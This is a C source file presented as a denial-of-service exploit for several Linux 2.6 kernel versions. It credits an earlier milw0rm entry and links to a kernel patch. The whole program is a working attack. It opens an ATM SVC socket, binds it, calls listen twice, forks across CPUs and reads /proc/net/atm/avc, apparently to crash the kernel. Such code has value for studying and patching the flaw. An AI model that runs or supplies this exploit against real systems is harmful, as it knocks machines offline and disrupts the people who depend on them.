/*                     
Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Dos Exploit
ariginal idéé : Jon Oberheide łł
http://www.milw0rm.com/exploits/7405
tested : 2.6.27.7-generic - 2.6.18 - 2.6.24-1                      
by :  ADU-T                                                        
patching :
http://marc.info/?l=linux-netdev&m=122841256115780&w=2  
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
                     
#define NUM_CPUS 8   
#define ATM "/proc/net/atm/avc"
                             
int                          
main(void)                   
{                            
    char *err, adurit[2000]; 
    int i, ret, sock, proc;  
    struct atm_qos dj;       
    struct sockaddr_atmsvc addr;
                              
                              
                              
    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
                                          
                                          
    memset(&dj, 0, sizeof(dj));           
    dj.rxtp.traffic_class = ATM_UBR;      
    dj.txtp.traffic_class = ATM_UBR;      
    dj.aal = ATM_NO_AAL;                  
                                          

    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
    if (ret == -1) {
        printf("failed !\n");
        return 1;
    }
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;
 
    bind(sock, (struct sockaddr *) &addr, sizeof(addr));
 
    listen(sock, 10);
    listen(sock, 10);

    for (i = 1; i < NUM_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
    proc = open(ATM, O_RDONLY);
    ret = read(proc, &adurit, 2000);
    close(proc);

    return 0;
}